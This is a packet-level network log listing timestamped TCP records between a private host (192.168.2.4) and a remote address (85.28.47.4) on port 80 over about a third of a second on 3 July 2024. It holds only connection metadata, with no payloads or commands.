Jul 3, 2024 23:59:05.792906046 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.792915106 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.792922020 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.792926073 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.792951107 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.792974949 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.793054104 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.793068886 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.793102026 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.793138027 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.793148041 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.793158054 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.793165922 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.793175936 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.793195963 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.793303013 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.793313980 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.793322086 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.793329954 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.793339014 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.793345928 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.793348074 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.793366909 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.793392897 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.793486118 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.793503046 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.793510914 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.793525934 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.793550968 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.793616056 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.793626070 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.793634892 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.793656111 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.793673992 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.793734074 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.793744087 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.793757915 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.793776989 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.793796062 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.793853998 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.793864012 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.793873072 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.793896914 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.793915033 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.793986082 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.793998957 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.794008017 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.794015884 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.794024944 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.794029951 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.794034958 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.794044971 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.794045925 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.794064999 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.794079065 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.794255018 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.794270039 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.794280052 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.794289112 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.794295073 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.794298887 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.794317961 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.794334888 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.794483900 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.794500113 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.794516087 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.794523954 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.794539928 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.794557095 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.794627905 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.794637918 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.794647932 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.794667959 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.794687986 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.794749022 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.794759989 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.794785976 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.794804096 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.794815063 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.794815063 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.794843912 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.794856071 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.794883013 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.794893980 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.794922113 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.794943094 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.794989109 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.794998884 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.795007944 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.795016050 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.795028925 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.795041084 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.795053005 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.805504084 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.805524111 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.805532932 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.805557013 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.805572033 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.805586100 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.805624008 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.805660963 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.805670977 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.805680037 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.805689096 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.805707932 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.805730104 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.805865049 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.805876017 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.805886030 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.805898905 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.805905104 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.805923939 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.805942059 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.805998087 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.806036949 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.806045055 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.806056976 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.806063890 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.806085110 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.806096077 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.806142092 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.806150913 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.806159973 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.806169987 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.806185961 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.806200981 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.806389093 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.806399107 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.806407928 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.806416988 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.806426048 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.806427956 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.806437016 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.806447029 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.806451082 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.806457996 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.806468010 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.806478977 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.806499004 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.806672096 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.806705952 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.806711912 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.806718111 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.806727886 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.806736946 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.806740999 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.806754112 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.806770086 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.806890011 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.806900024 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.806927919 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.806948900 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.874902964 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.874938011 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.874988079 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.874998093 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.875066042 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.875089884 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.875101089 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.875108957 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.875149012 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.875262022 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.875271082 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.875279903 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.875284910 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.875288963 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.875293016 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.875298023 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.875319958 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.875319958 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.875341892 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.886404037 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.886421919 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.886431932 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.886446953 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.886473894 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.886503935 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.886540890 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.886552095 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.886595011 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.886631012 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.886642933 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.886679888 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.886688948 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.886692047 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.886722088 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.886786938 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.886800051 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.886811018 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.886816025 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.886831045 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.886857986 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.886873960 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.886970043 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.886981010 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.886996031 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.887006998 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.887022972 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.887042999 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.887121916 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.887132883 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.887142897 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.887152910 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.887162924 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.887171030 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.887182951 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.887209892 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.887377024 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.887387991 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.887398958 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.887408018 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.887418032 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.887423992 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.887430906 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.887450933 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.887475967 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.887500048 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.887542009 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.887562037 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.887573004 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.887614012 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.887676001 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.887686968 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.887696981 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.887708902 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.887723923 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.887751102 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.887861013 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.887880087 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.887906075 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.887933016 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.887996912 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.888009071 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.888019085 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.888048887 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.888067007 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.888139009 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.888185024 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.888659954 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.888670921 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.888680935 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.888712883 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.888720989 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.888731956 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.888736963 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.888744116 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.888755083 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.888761044 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.888766050 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.888776064 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.888796091 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.888822079 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.927181959 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.932071924 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.110637903 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.110651970 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.110661983 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.110698938 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.110717058 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.110759974 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.110769987 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.110779047 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.110786915 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.110795975 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.110800982 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.110805035 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.110816002 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.110824108 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.110827923 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.110831976 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.110842943 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.110852003 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.110853910 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.110862017 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.110873938 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.110886097 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.110908031 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.111805916 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.111821890 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.111830950 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.111839056 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.111850977 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.111862898 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.111893892 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.111953974 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.111969948 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.111979008 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.111988068 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.111994028 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.111998081 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.112010002 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.112019062 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.112041950 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.112052917 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.112143040 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.112153053 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.112160921 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.112169027 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.112178087 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.112185955 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.112186909 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.112196922 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.112206936 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.112206936 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.112231970 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.112245083 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.112457991 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.112473965 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.112489939 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.112499952 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.112508059 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.112519979 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.112519979 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.112541914 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.112612963 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.112654924 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.112682104 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.112693071 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.112730026 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.112869978 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.112879992 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.112889051 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.112896919 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.112905979 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.112909079 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.112926960 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.112937927 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.112951040 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.113090038 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.113100052 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.113109112 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.113116980 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.113126040 CEST	80	49730	85.28.47.4	192.168.2.4
